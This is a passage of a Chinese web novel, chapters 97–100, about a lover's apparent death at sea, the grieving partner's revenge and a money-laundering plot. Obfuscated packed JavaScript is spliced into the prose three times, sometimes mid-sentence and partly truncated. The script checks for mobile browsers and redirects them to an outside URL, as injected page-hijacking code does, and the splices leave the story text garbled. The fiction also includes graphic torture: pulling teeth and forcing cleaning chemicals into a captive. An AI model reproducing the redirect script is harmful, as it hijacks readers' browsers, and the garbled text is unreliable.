车里的油灯开始报警,侯闯把车子驶进一家加油站,下了车走进便利店里付钱,顺便买包烟。一转眼的功夫,等他再出来时,车子已经无影无踪。 杨原野开着车在大雨里疾驰,到了和宗天天约定好的地点,果然看见一辆大众面包车,车窗上贴着两道蓝色胶条。那是他们约定好的暗号。 杨原野叫醒了易小雪和姨妈,把人送到面包车上。易小雪似乎是感觉到什么异样,忽然躁郁发作,大喊着要下车。杨原野立刻给易卿尘拨了电话,直到听见儿子的声音,才渐渐平静下来。 “阿野,”易卿尘在电话里叫他,“怎么样?都顺利吗?” 杨原野温声道:“放心吧,我这就回家,饿死我了,我想吃牛肉面。” 易卿尘稍微放松下来,“好,我等你回家吃饭,路上小心。” “嗯。” 杨原野和宗天天决定在此处分头走,临行前杨原野不忘嘱咐宗天天,“上次给你的那些资料你都有看吧?” “放心吧,片子我已经在制作了,有备无患。倒是你,你这把人弄丢了,一会儿怎么交代?”宗天天问道。 “我会编个理由搪塞他们,你就别操心了,照顾好小尘妈妈。” 看着面包车往天津方向开远了,杨原野才重新发动车子,准备往回京的国道上开。 最快上国道的路是沿海公路,沿路右边是辽阔的渤海湾,左边是高耸的山脉。杨原野在雨中一路行驶,忽然发现身后一辆车正在尾随着他,并且距离越来越近。 杨原野一脚油门,车轮和雨水路面之间的摩擦力不足,打着滑向前加速。谁知背后那辆车由于性能加速更快,竟然紧追不舍,甚至在开了几百米后,借对面车道和杨原野的车头齐平了。 杨原野把车窗按下来,侧头看着那辆疯狂的车子,对方的车窗同时降下,侯闯面无表情凝着他,随着车窗越来越低,侯闯的嘴角扬起了一道瘆人的笑。 此时如果对向来车,侯闯一定会车毁人亡。 那人是个疯子,那种笑容是亡命徒或者疯子脸上才会有的,如果被侯闯逼停了车,他一定不会放过自己,根本等不到他去跟高飞狡辩脱责。没人能和疯子讲道理。 两辆车在大雨中狂飙,视线模糊,油灯报警,车轮打滑,杨原野完全是凭借本能在开车。 一道右拐急弯,侯闯突然向右死命逼近。杨原野猛打方向盘,右脚离开油门的时候已经太晚了…… 车子腾空带来的失重感,安全气囊弹出来的重击,撞进海面那一刻的轰鸣……海水从车窗灌进来,杨原野只觉得世界混沌又黑暗,眼前的一切开始模糊不清,他看不见、听不到、发不出声音。 他被安全带绑缚在座椅上,海水压下来,失重感和水压同时袭来,憋住的一口气终于还是破了,他开始呛水,一点一点、一口一口、嘴巴鼻腔…… 杨原野在海水中睁开眼……呵,临死前原来真的会有“人生走马灯”…… 他看见自己叼着棒棒糖骑在爸爸的肩上,郁郁葱葱的草地有蝴蝶在飞,画面一转,母亲拉着行李箱上了一辆车,只留下一个越来越小的背影,院子里的枫叶映红了池塘,一年又一年,偌大华丽的宅子里只剩他一个人。他跑出门,一路狂奔,四周的景物飞速变化,他闯进了一间简陋废弃的琴房。 琴房正中是一架古典钢琴,易卿尘正坐在那里弹奏钢琴,头上肩上都是白色的雪花,呵气成雾,琴声悠扬婉转,画面美好得像个梦境。易卿尘缓缓抬起头看着他,“阿野,这里就要拆了,你怎么还不走?” 钢琴的黑白键忽然一个个剥离,漂浮在空中,斑驳的枫木地板折断陷落,轰隆隆——琴房在坍塌……一切都在下坠…… 时空交错,耳畔忽然传来巨大的雨声,杨原野睁开眼发现自己正立在路边,一辆出租车溅起雨水停在他面前。他伸手去拉出租车门,猝不及防地碰到另一人纤细漂亮的手指,一抬头,两双视线命定般交织…… 小尘,你知道吗?如果有一个按钮,按下去,人就会消失,如同从来没在这世界上存在过一样,从前的我一定会毫不犹豫地按下去。上天给过我许多东西,最后都用更高的价码夺走了……幸好它没拿走我最珍贵的,小尘,有你在,我的日子就如同黑白的电影,忽然有了色彩。我庆幸我活过。 你像一束光,只要凝望着我,再大的雨,我也是暖的。 宝贝,好想你啊。 想你被染成粉红色的雪白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687248|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸颊; 整齐的牙齿和细长的睫毛; 雨后初霁般不变的清新香气; 无论如何都无条件给我的信任…… 真的、真的、真的好想你。 今生唯一的遗憾,怎么说呢……如果能重新回到初遇你的那天,如果我,还有时间…… 那种温暖好想再多感受一分钟…… 易卿尘,你会哭吗? 会慢慢忘了我吗? 忘了也好。 你那么好,永远有人爱你,有人永远爱你。 唉,我不是要煽情,只是想说,抱歉,这一次,我不能回家吃饭了。 …… “啪啦——” 一盏甜白釉的汤碗从手中滑落,碎了一地,易卿尘慌忙蹲下收拾。 “嘶——” 碎片割破手指,鲜血汩汩地涌出。他随手抽了几张纸巾简单包了一下,转头又去厨房忙活起来。算算时间,阿野这时候应该已经快到家了,他要抓紧些时间煮面了。 能一起吃饭真好。人每天都要吃饭,时间基本固定,有了这层安心,不论其他时间是不是有在联络,对方回不回信息,似乎都不会令人太过紧张。 “安心”这件事对于易卿尘来说,尤为重要。因为从小在孤儿院长大,内心深处一直都没什么安全感。如果可以,他很想24小时待在杨原野身边,每天一起吃饭,可那样会很容易让人厌烦吧,所以他会装得若无其事,一副独立、自尊心很强的样子。 但是这次他不想再装了,虽然刚刚在一起没多久,贸然提出“同居”确实显得有些心急,怕会让人瞧不起……可是如果杨原野可以豁出性命去保护他甚至他的家人,似乎也不会太抗拒和他住在一起吧。他当然不会让杨原野做所有的家务了,如果家务五五开,可以早点同居吗? 等杨原野一会儿到家,挑个气氛好的时机,易卿尘决定提出来试探看看。如果到时候杨原野表现出为难,那么,就开个玩笑岔过去算了,不想勉强他做他不愿意的事情。 墙上的时钟又转了两圈,桌上的面条被汤汁喂得太胖,挤在面碗里,已经泡得不能吃了。 杨原野还没回来。 电话也打不通,也许是没电了? 有一百种坏念头试图钻进易卿尘的脑子里,但他绝不允许,不可以胡思乱想。上一通电话里,阿野清清楚楚地说过,等他回家。 枯等到下午,晚霞在地上投下风铃的长影,电话仍然打不通。易卿尘站起身,在家里来来回回地踱步。 “叮铃铃——” 手机终于响了。 易卿尘心里升腾起一丝喜悦。 “阿野!” 那头传来一个熟悉的女声:“易老师,我是小白,出事了……” …… 挂断电话,易卿尘在原地怔愣了许久,心脏怦怦跳得好快,大脑一片空白。 视线扫过空旷的卧室,到处都是杨原野的影子,他站在窗前抽烟,坐在床边玩手机,在衣帽间换上新衬衣,走出来,带着他一贯漫不经心的表情,把易卿尘抱到书桌上坐下,俯身落下一枚亲吻。 他就在这儿,可是小白却说,他坠崖了。 那是什么意思? 易卿尘的目光落在书架最上面一层,一枚白色的纸飞机安静地停在那里。他踩着椅子把它取下来拆开,白纸上是杨原野洋洋洒洒的字迹: “小尘, 要是我回不来,不用为我守寡,我没那么古板,哈哈! 去弹琴、唱歌、恋爱、结婚,过好你的一生,就当我没来过。 只有一样,答应我,下辈子做我一个人的宝贝,好吗?” 98.098 出离 “怎么样?他睡了吗?” 医生轻轻地关上了卧室的门,对着楚言做了个噤声的手势。二人走下楼梯,来到了一楼的会客厅。楚言的助理沈从南礼貌地在医生面前放了一杯热茶。 “我给他的药里加了些安眠镇定剂,他这会儿应该睡了。”医生说,“病人在受到巨大精神打击时,有一部分是会有这样的反应,作为亲近的人,需要密切观察,防止过激行为的产生。” 楚言捏了捏眉心,“他从始至终都没有表现出什么激烈的悲伤情绪,他最近的失眠情况有没有可能只是准备比赛太辛苦导致呢?” 这些话说出来,楚言自己都不相信,但却还是问了出来。 医生的答案并没有满足楚言的愿望,“哭是发泄悲伤情绪的一种方式,哭都哭不出来可不是好事。还有,人的身体机能是不会允许我们一周只睡七个小时的,身体会自动断电来保护脏器健康,如果他一直不睡觉,那他一定是生病了。” 杨原野出事当晚,楚言便得到消息,当即把易卿尘从帝京公馆接到了他自己的别墅。一来是为了保护易卿尘的安全,二来也是怕易卿尘想不开做傻事。 “小尘,我已经派人去追查那件事了,也在到处寻找他的下落,活要见……”楚言没能说下去,“总之,我会陪在你身边,你难受就哭吧,不丢人。” 易卿尘却只是静静地看着楚言的眼睛,淡淡地说:“我没事。” 这些天,易卿尘一直在埋头写歌,练琴,排练开场舞蹈,看起来挺正常的,除了他几乎不吃也不睡。 前天早上,楚言坐在餐桌旁盯着他,命令他必须喝掉一碗鸡丝瘦肉粥。他并不反抗,乖乖地一口一口地把粥送进嘴里,吃到一半,他忽然捂住嘴巴冲到厕所,跪在马桶前吐得天翻地覆。 那时候楚言就知道,易卿尘病了。 楚言劝过几次,让易卿尘休息一下,可都没有用,易卿尘整日工作,相比于生死未卜的恋人,看起来赢下总决赛似乎对他还更重要一些。 “这人心可真硬,听说他家里人刚死了,居然连一滴眼泪都没有,还天天唱呢。” 歌声琴声不断,家里的佣人随口嘟囔了一句,被楚言听到,当天就给解雇了。 送走了医生,又过了两个小时,楚言还是不放心,轻轻打开房门查看——屋内一片寂静,床上空空!楚言的心一下子提到嗓子眼儿,刚想喊人来,就注意到落地窗边蜷缩着一个人。 走近去看,易卿尘正睡在地板上,以一种婴儿在母体内的姿势垂头抱着膝盖,额发半遮住他的眼睛。易卿尘的睫毛很长,闭着眼睛的时候很漂亮,此刻的样子显得很安详。 楚言蹲下身,才看见易卿尘的额角不断渗出细密的汗珠。身旁地上散落着许多蓝色的半透明糖纸,阳光照下来,映出虹彩的光影。 楚言捡起其中一张糖纸,喃喃自语道,“吃这么多糖,你心里很苦吧……” 即使是这么小声的呢喃,易卿尘还是醒了,慢慢睁开的眼睛落在拿着蓝色糖纸的手上,他激动起来,好像半死的人忽然有了生命力。易卿尘紧紧地抓住了那只手,视线慢慢上移,落在楚言的脸上……原本激动的表情被失望和心碎的神情取代,他什么也没说,只是失神地握了一会儿那只手,最后又倏然松开了。 他是把自己认成了别人吧。楚言一阵心疼,抬手轻轻拨开了易卿尘额前被汗湿的发丝,露出那双依然漂亮但却空洞的眼睛。 “小尘,你很想他吧?” 易卿尘长长地看着楚言,还是没有说话。 楚言叹了口气,劝慰道:“你可以想他,也可以哭出来,不要憋着,你这样我真的很担心。” 易卿尘看着远处,没头没脑地问道。 “言哥,国外可以给同性登记结婚吧?” 楚言懵然地点点头,“嗯,美国、英国、加拿大、澳大利亚……好多国家都可以登记结婚。你问这个干吗?” “因为,”易卿尘忽然牵起一抹意味不明的笑容,“我要弹琴、唱歌、恋爱、结婚呀……” “什、什么?” 楚言越来越看不懂易卿尘了。杨原野的车这么多天没打捞上来,大概率是已经葬身大海,几乎没有生还的希望了,虽然没人敢挑开了说,但也都心知肚明。这种时候,易卿尘居然说自己要去恋爱、去结婚? 这太不可思议了…… “你要和谁去结婚?” 杨原野已经不在了,易卿尘想和谁结婚? 易卿尘转了转眼睛,很认真地思考了一会儿,答道:“不知道,相亲也许快一点儿,我长得还不赖,应该会有人愿意跟我结婚吧。” 看着易卿尘脸上慢慢浮现的奇怪笑容,楚言起了一身鸡皮疙瘩。 “如果没人跟我结婚,言哥,你能和我结婚吗?我可以签婚前协议,我不要你的钱。如果我死了,麻烦你把我的骨灰洒进大海里。哪片海都可以,听说全世界的海水最后都会相遇的。” “……小尘,我当然愿意和你结婚,那是我连做梦都不敢想的事。可是,你知道自己在说什么吗?你没事吧?” 易卿尘摇摇头,若无其事地站起身,转身走出了卧室。不一会儿,隔壁传来了一阵悠扬的琴声。 第二天下午,易卿尘接到了郝圆满的电话,她还不知道杨原野出了事,只是发现好多天联系不上人,小葵又吵嚷着要找哥哥,她才十分不好意思地打给了易卿尘。 易卿尘挂了电话就匆匆出门了,不许人跟着。楚言不放心,亲自开车远远地跟在出租车后面。 让他意外的是,易卿尘先是去了宝马的4S店,不一会儿就直接开走了一辆3系白色轿车,和杨原野的那辆一模一样。 易卿尘开着车来到了郝圆满和小葵的住处,交给了郝圆满一张银行卡。 “这里面是30万,你们先拿去用。阿野最近出国帮我处理一些棘手的事情,不方便直接和你们联系,你们有什么事情都可以直接找我的。” 郝圆满接过卡,一脸担忧地看着易卿尘,相比上次见面,他更瘦了,显得眉骨更高,一双眼睛凹陷得十分憔悴。 “小尘,是不是出什么事了?你不要瞒我,我什么大事没见过,直接告诉我,我能帮你们出出主意。” 易卿尘垂下眼睑,咬了咬唇,说道:“是我,我惹上了一些麻烦,阿野没事,他很好。不过我想,眼下如果你和小葵能避一避风头就更好了,不要被我连累了。” “你既然不愿意告诉我具体的事情,我也不多问。其实上个月,我们全家的移民绿卡就下来了,小野他爸一直催我们过去美国团聚。可是小野不愿意,一直跟他爸僵着,唉,我知道他是不想跟你分开。” “是吗……”易卿尘喃喃道,“如果不是我,他现在应该已经在美国开始新生活了吧。” “其实,我可以先带小葵到美国去,那边有先进的医疗技术,也许小葵的病还有希望。等小野回来之后,我再和他商量商量吧。” “不用商量了,你们走吧。我这几天就帮你们找国际搬家公司,买机票,你和小葵先走。” 郝圆满看易卿尘的神情,知道事情比她想象中的还严重,为了小葵的安全,她想了想,应了下来,“那你如果联系得到小野,跟他说一下。还有小尘啊,你和小野一起来美国找我们吧,他离不了你,你和你们公司说说,在美国也能唱歌啊。” 易卿尘把小葵搂在膝头亲了亲,转过头郑重地对郝圆满说道:“好,无论在哪儿,我一定和阿野在一起。我很快就会去找他。” 郝圆满高兴地点了点头。 易卿尘的车停在小区马路对面的街上,穿过马路之后,易卿尘远远地看见了一个熟悉的人影。那人拄着拐,右脚缠着绷带,脑袋上戴着白色网兜状的挂耳绷带。是侯闯,化成灰易卿尘也不会认错。 小白说,这次杨原野出事的消息是侯闯带回来的,那天被派去和杨原野一同去北戴河的就是侯闯。 易卿尘远远地跟着他,见他进了那家专门卖山寨货的便利店。 那天到底发生了什么事?侯闯一定知道内情。 易卿尘走回车上,从后备箱工具箱里翻出一把扳手,揣进兜里。接着戴上黑色口罩,转身朝便利店走去。 当他踏进便利店时,侯闯从收银台后抬起脸,竟没认出他来,瞅了一眼就继续闷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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易卿尘像被定格了似地盯着侯闯,肃杀却并不意外,他的目光好像一条冰凉的蛇爬上对方的脊背,侯闯忍不住打了个冷战。 “他怎么死的,死在哪儿了?” “死都死了,你问这么多干什么?再说,我为什么要告诉你?告诉你,你好报警抓我吗?” 易卿尘的瞳孔紧缩,语气低沉:“我再问你一遍,他怎么死的?” “易沉冤,你是不是傻了?你这属于绑架,是犯法的,你知道吗?你他妈赶紧把我放了,我不跟你计较,不然我让你吃不了兜着走。” 易卿尘轻抬唇角,点了点头,“好啊,不说,留着这红口白牙也没什么用了。” 说完,易卿尘转身走到后排架子上,不一会儿手中拿了一把钳子。 侯闯手脚被绑住,动弹不得,况且还有一只废腿,现在简直是砧板上的鱼肉。见易卿尘拿着钳子一步一步向他逼近,眼里的寒意是他从没见过的肃杀,侯闯真的开始害怕了。 这人不是孤儿院的易沉冤,也不是电视上的易卿尘。 这人如同冷面阎罗一般,手持刑具,要对他行刑。 “你、你你……你他妈的想干什么?” 侯闯从不知道易卿尘居然有这么大的手劲儿,他虽然使出吃奶的力气紧咬住牙关,却还是被硬捏着下巴掰开了嘴巴,整个过程侯闯竟然完全无力招架。 “你……唔……呃啊……” 侯闯挣扎着发出含糊的呻吟,瞳孔颤抖着紧缩,生锈的电工钳子在瞳孔中越来越大。 “啊——!!!” 随着一声惊叫,侯闯的一颗门牙被生生地拔了下来。 易卿尘将拔下的牙齿塞进侯闯被绑缚住的手心里,数了声:“一。” 侯闯目眦欲裂,起先还在咒骂着易卿尘的祖宗十八代,到后来只剩猪叫一般的哀嚎,满嘴淌血。 易卿尘把最后一颗牙齿放进侯闯手心,因为疼痛和惊恐,手抖得实在太厉害,哗啦啦——挂着血肉的牙齿掉了满地。 “十五。”易卿尘放下钳子,“现在可以说了吗?” 99.099 盟友 侯闯满嘴是血,疼晕了过去。 很快,一盆凉水浇下来,侯闯被激得睁开眼睛,视线模糊间,只见易卿尘端正地坐在对面,冷冷地瞧着他。 “你、你疯了……易沉冤,你他妈真是个狼崽子……当初就该整死你!” 侯闯因为前面的牙齿全被拔光了,说话漏风,有气无力的含混不清。 易卿尘见他醒了,又面无表情地重复了一遍先前那个问题:“杨原野是怎么死的?你要是答的不好,我就把你的十根手指头一根、一根的敲碎。” 侯闯下意识地攥紧了拳头,不是愤怒,他已经顾不上愤怒了,他只不过想收紧自己的十根手指头。易沉冤绝对干得出来这种事,他会凿碎他的骨头的,侯闯甚至远远地瞧见后面架子上放着铁榔头。 “我说,我都说,你真他妈疯球了,我怕了你了……” “说。”易卿尘冷声道。 侯闯咽了一口血沫子,说道:“那天我跟他一起去接你妈,他一路装睡,到了加油站甩下我就把人拉跑了。我抢了辆车去追,追上的时候一看,你妈早没影儿了。我就知道是姓杨的搞的鬼,这样回去一准儿被高飞打到起不来床,再想起那次在胡同里被他套麻袋,我气得够呛,就开车去别他。他那车本来就没油了,我使劲一撞,他就失控冲下山,掉海里去了。” 侯闯说完,顶着那半张脸都是血迹的惊悚面孔,等着易卿尘发话。 可易卿尘半晌没动静,不说话,也不动作,就那么瞅着侯闯。明显不太高兴。 侯闯使劲蜷缩着手指,连脚指头都绷得很紧。 “接着说。”易卿尘开口道。 “说……说啥,我都说完了……” “接着说。” 易卿尘又重复了一遍。 侯闯使劲儿吞咽了一口血腥的唾液,硬着头皮继续说:“他的车掉海里去了,我的车也撞得够呛,脑袋磕坏了,腿也骨折了,我就给飞哥打电话来救我。” 他觉得自己又说完了,可看易卿尘还是冷着脸,不满意的样子,他赶紧补充道:“我当时亲眼看杨原野的车掉下去了,砸在悬崖边儿翻了几个个儿,之后沉海里了。我搁那儿等了半天,也没见有人游上来。他肯定是绑在车里没出来,淹死了。” “我这回真说完了,没啥说的了。” 易卿尘站起身,侯闯吓得一个激灵,抖如筛糠:“易沉冤,你放了我吧,我都告诉你了。我也是听命办事儿,你报仇找高飞去!别……别再折磨我了……” 易卿尘轻笑一声,转身出去了,侯闯暗自觉得逃过一劫,没想到易卿尘再回来的时候手里拿了一大桶威猛大叔洁厕剂。 “你你你你……你要干什么!” 侯闯吓得快疯了。 “干什么?”易卿尘拧开洁厕剂的瓶盖,塑料发出啵儿的一声,他抬起眼皮,神色不虞,似笑非笑地对着侯闯说道: “送你去给他道歉。” 侯闯听后面色惨白,□□瞬间湿透,滴答滴答顺着裤腿往外淌黄水。 “啊,不——救命!!来人啊!!” “唔———咕嘟咕嘟———咳咳!救……” …… 当易卿尘从那间小卖店出来的时候,依然穿着那件米白色的夹克衫,整洁得体,看起来并无任何异样地上了车,宝马车打着转向灯,很快消失在夜色中。 楚言一直守在街对面,很好奇到底是什么人能和易卿尘聊这么久,于是下车走近便利店。小店门口挂着“休息”的牌子,楚言敲了敲门,没人应。抬腿走进去,店里弥漫着一股混合着消毒水和呕吐物排泄物的怪味儿,循着味道往里走,面前是一道半掩着的门。 推开门,眼前的一幕把楚言吓得差点跌了个趔趄,一阵恶心反胃。 这都是易卿尘干的?这还是他当初认识的那个白衣猎猎的男孩吗? 不论如何,他都要先替易卿尘收拾残局,不能让这件事被任何人发现,不能看着易卿尘出事,绝不可以。 楚言慌忙地掏出手机,拨了个号码:“我在东四胡同,派几个靠得住的人过来,再找个医生,要快!!!” 楚言处理完一切,心情久久不能平静。侯闯救回来了,今后不会再在京北出现。不过解决一个侯闯不算什么,甚至高飞也只是别人手里的一把刀。 楚言连夜联系上了江鸿和季淮山,因为据查,季淮山一直在帮杨原野调查楚默和江琳达,而江琳达同父异母的哥哥就是江鸿,二人的家族矛盾颇深。此时,江鸿和季淮山两人都在香港,楚言当即买了最近一班机票飞去了香港。 楚言知道,如果他不能尽快将这一切彻底解决,易卿尘就会用他自己的手段,那样他迟早会出大事。 他不能看着易卿尘做傻事,任由他自毁。那双干净漂亮弹古琴的手,怎么可以沾染血污? 楚言此刻清楚地意识到,易卿尘爱不爱他都不重要,爱不爱,都是他捧在手心里的珍宝。如果一定要有人做那些污糟事,他愿意代劳。他的心被强烈的自责啃噬着,如果不是因为他们楚家的恩怨,易卿尘根本不会被卷进来,杨原野也不会死。 飞机降落在香港赤腊角国际机场,还在滑行。楚言开机给易卿尘发去一条信息: ”今天的事我已经处理干净,你尽量多睡一会儿,我出差一趟,很快就回去。” 位于香港九龙加多利山的St. Ge''s Mansions豪宅大厦,一辆红色计程车停在门口,门童热情打着招呼。车上下来的两人经过富丽堂皇的大堂,私人电梯直接入户。这里是江鸿几年前购置的公寓,价格过亿,鲜少带人来。 现代艺术气息的装潢,全屋充满了英伦的味道,审美极好,目之所急,看不到一处杂乱。 “你这儿像个样板间。”季淮山扫视了一圈说道。 “菲佣Maria每三天上来打扫一次,我不在她也来。你知道我有洁癖,”江鸿补充道,“还有钱。” 季淮山瞧他一眼,笑容漾开,“你以为我夸你呢?我是说,你家没有‘人味儿’。” “你会说点儿好听的吗?” 季淮山摊摊手,“糖衣裹的大多是炮弹,至少我不会想你开炮。” 江鸿端着两杯红酒走过去,紧贴着季淮山坐进沙发里。 “我那个‘妹妹’的底细你查的怎么样了?” 季淮山接过红酒,揉了揉太阳穴,切换成季律师模式,问:“家里有电脑吗?” “右手第二间,书桌上有个MacBook。” 季淮山拿了电脑坐回江鸿身边,登进自己的网盘,打开一个文件夹。 “首先,江琳达真的是你亲妹妹。”季淮山拉出来一张亲子鉴定证明,“生物学上,你们属于同父异母的兄妹。” 江鸿点点头:“不稀奇,我爸在外面搞出来的种,我怀疑还不止这一个。” “江际中先生这些年确实有许多情人,”季淮山措辞谨慎,“不过他这次之所以对江琳达母女另眼相待,并不是因为什么深情厚谊,而是看中了这个女儿,他甚至有意让江琳达未来接管江氏的船运公司。” “什么?她一个唱歌的,又是个女儿,凭什么?你确定?”江鸿说完,觉得自己这问题很蠢。季淮山是江际中的私人律师,能接触到这些信息实属正常,况且季律师从不做无据推测。 季淮山说:“你这个儿子但凡对做生意有那么一丁点儿兴趣,你爸也不至于器重一个刚认回来的女儿。” 江鸿和自己亲爹换位思考一下,也觉得合理:“嗯,况且我还是个gay,以后没有孙子做他的继承人。江琳达要是生个孩子愿意姓江,老爷子肯定乐呵。” “你爸看中她,不光是她能延续下一代,你来看这些。”季淮山点开一个文件,“这家注册在开曼群岛的公司,实际控股人是你妹妹。而过去两年来,这家公司一直从一家比利时公司借款。我查了发现,比利时公司旗下竟然有236家自助式洗衣店,遍布欧洲。你肯定知道那种自助式洗衣店,只需要一个店面,几台洗衣机烘干机,一个雇员都不需要,是最适合洗钱的。” 江鸿看了一眼那些借款的数字,后面的零多得惊人。 “你是说,这家比利时公司如果申请倒闭,这些借款就不用还了,钱就会顺利洗到江琳达手里?可是这家比利时公司的背后又是谁呢?” 季淮山拉出来一张德语的公司注册信息表,虽然看不懂上面的字,一个汉语拼音的名字倒是十分显眼:Xiaoying Song。 “宋小赢!他不就是楚默的助理吗?所以这背后就是楚默,他们在洗钱……可楚默为什么用江琳达的账户洗钱?他们已经到了这种程度了?”江鸿问。 季淮山说:“不一定是楚默的意思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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季淮山看着江鸿亮晶晶的眼睛,伸出手去揉揉他的头发,又觉得逾矩,只得收回了手,“嗯,这也是你的可贵之处。” “我怕以后被这个妹妹给玩儿死。”江鸿头上冒出个叹号,“不如我归隐山林吧!” 季淮山笑,“弱肉强食,躲起来是没用的。” “所以这么看来,江琳达和宋小赢想吞掉楚家的财产,欸,等等!楚默不是有哥哥吗?真到东窗事发,楚言会看着弟弟被人又绿又骗,看外人搞垮楚家吗?”江鸿觉得有些说不通。 “你说的很对。你听说前阵子楚言出了车祸,差点儿死了吗?”季淮山问。 “我隐约听说了一点儿,不过我一向对这些没兴趣,也没接着打听。”江鸿说,“他怎么好端端地出车祸了?” “你想想,如果楚言死了,最大的受益人是谁呢?楚老爷子退隐多年,那么所有楚家的业务都会落到唯一的儿子,楚默手里。而楚默的钱袋子底下有个洞,下面是你们江家的聚宝盆在接着。江琳达如果再能嫁给楚默,慢慢地,公司明面上的管理权、股份、投票权搞不好也会落到江家手里。” 江鸿不解:“江琳达希望楚言死,可是楚默为什么会恨他哥哥到这个地步?还是说楚默也不知道?他从头到尾都被蒙在鼓里?” 季淮山想了想:“他们兄弟之间到底有什么恩怨,我也不清楚。不过,我敢肯定得是,这件事情楚默一定是知道的,他要他哥哥死,并且,他也要易卿尘死。” “啊……”江鸿也试着开始推理,“这么说,楚默一方面恨他哥,一方面估计也把那个孩子的流产算到了易卿尘的头上。最终的最终,是江琳达和宋小赢借着楚默的手,想吞掉楚家的财产。” “学弟真聪明。”季淮山说。 江鸿鼓鼓嘴:“你取笑我。” “没取笑。” 是喜欢。 “好吧。所以,你要管这事儿吗?我隐约觉得挺危险的,他们能差点儿弄死楚言,真是丧心病狂。” 江鸿眼中流露出担忧的神色。 “别人我都可以不管,但是你……我们是朋友,我想要保护你。”季淮山说,“江琳达以后不可能容得下你,只是眼下她还有更大的问题要解决,暂时轮不上你罢了。” “我真的对那些公司啊,钱啊什么的没兴趣。”江鸿天生厌恶这些尔虞我诈,才会早早离开港岛去内地发展。 “江鸿,”季淮山说,“你知道解决问题最好的时机是什么吗?” “什么?” “就是问题还没有真正成为问题的时候。” “……你是说,现在?” 季淮山点点头,“不过我们需要盟友。” 话音还没落,桌上的手机响了。 季淮山低头一看,轻抬起唇角,“盟友来了。” 100.100 决赛 楚言在香港待了一天,忙完所有的事情,就匆匆忙忙地搭最后一班夜航飞机回了京北。他给易卿尘发的消息对方一条都没有回复,想起那天便利店的一幕,楚言依然感到不寒而栗。 如果不能亲眼看见易卿尘安然无恙地在自己面前,楚言每一分钟都觉得坐立难安。 这件事情说到底也是因他而起。他爱的人因为他而失去了一生挚爱,这种滋味儿非当事人不能体会。 出租车停在楚言的别墅门口。深秋时节,楚言穿着一件长风衣仍觉得有些凉,他下了车,低头看了一眼表,已经是凌晨4点半。抬头看去,顶楼露台的灯竟还亮着,不知是忘了关,还是有人在上面。 楚言走上楼梯,推开露台的门,一道白色的弧线从眼前掠过,视线顺着看过去,一架纸飞机落在露台的边缘。 易卿尘轻快地跑过去,弯腰拾起纸飞机,嘴巴对着飞机头,哈了一口气,又把它掷向了另一边。楚言没想到易卿尘大半夜的在顶楼,更没想到的是他只穿了一件单薄的白T恤和灰色齐膝短裤。 易卿尘没穿鞋,光着脚在顶楼露台这片人造草坪上漫不经心地玩着纸飞机,嘴角仿佛还挂着一抹笑意。头顶几串暖色的小灯带,偶尔被风吹着,和易卿尘的发丝一起摇荡在如墨的夜色里。 不知情的人看了这一幕,一定会感慨,有钱人玩得可真开心呀。 楚言走过去,脱了风衣从背后披在易卿尘的身上,说道:“小尘,怎么不多穿点儿?不怕生病吗?” 易卿尘转过身,伸出胳膊缠住了楚言的脖子,微微扬起脸,带着温柔如水的笑容凝视着对方。 那乖巧的模样让楚言心中一惊,难以置信又不敢大声地问道:“你、你在干嘛呢?” “等你呀,你不是说今晚回来吗?”易卿尘理所当然地说道。 “……等我、我吗?为什么?是出什么事了吗?”楚言紧张地问。 易卿尘朝远处的天边望了望,有片刻的失神,但很快又恢复了笑容,十分温柔地说道:“如果我们以后会结婚的话,现在就是情侣了,那我不该等你回家吗?” 楚言:“……” 面前的男人那漂亮的眸光远远地飘散在云里,刚刚说出的每个字都好听得不像话。 楚言愣在原地,半天没回过神来,直到易卿尘把挂在他脖子上的胳膊放了下来,楚言才像触电一般,一把将易卿尘拉回到怀里,抱得要多紧有多紧。 易卿尘刚刚说他们是恋爱的关系?他终于被接受了吗?楚言的心一瞬间被一根无形的线牵扯起来,像被淋了柠檬水一样,明明发生是他一直最期盼的最开心的事,鼻腔却不知为何一阵一阵地发酸,泪水顺着他的脸颊猝不及防地落了下来。 他曾经仰望着星空,伸手想要摘下天上的星星。如今星星坠落,变成暗淡的陨铁,恰巧落在他的怀中。于他,已是最大的幸运。 “宝贝……”楚言一个大男人居然不可自抑地哭了,他埋首在易卿尘颈窝,抽噎地说,“我爱你……你知道的,我爱你。这一切都是我的错。过去就都让它过去吧……我们重新开始,让我陪着你一点一点把那些事情都忘记。等你比赛一结束,我们就到国外去,我会给你一个家,我绝对不会再让你难过了……我的小尘已经承受的太多了……” 楚言一边说一边收紧了双臂,眼泪打湿了易卿尘的脖颈处的皮肤。三十几年来楚言从没像今天这样,想要豁出命去保护一个人,想要抓住一个也许会转瞬即逝的希望。仿佛手捧着一个五光十色的肥皂泡泡,为它落在自己的手心而沉迷,疯狂地祈祷泡泡不要破。 易卿尘抬起头,望着楚言,眼珠的移动速度相比平时更慢一些,仿佛灵魂出窍般,那模样让楚言一时不敢发出任何声音。 盯了楚言一小会儿,易卿尘继而傻傻地问道:“言哥,我们是在谈恋爱吗?” 楚言牵起他的手,易卿尘的手指和手掌都好冰。 “是,你是我的。” 楚言比谁都更想确认这一点,这问题其实由他来问才最合适,没想到今天竟然反过来了。楚言给了一个他自己最想听到的答案。 易卿尘又笑了,表情非常满足,点了点头,喃喃道:“那就好。” 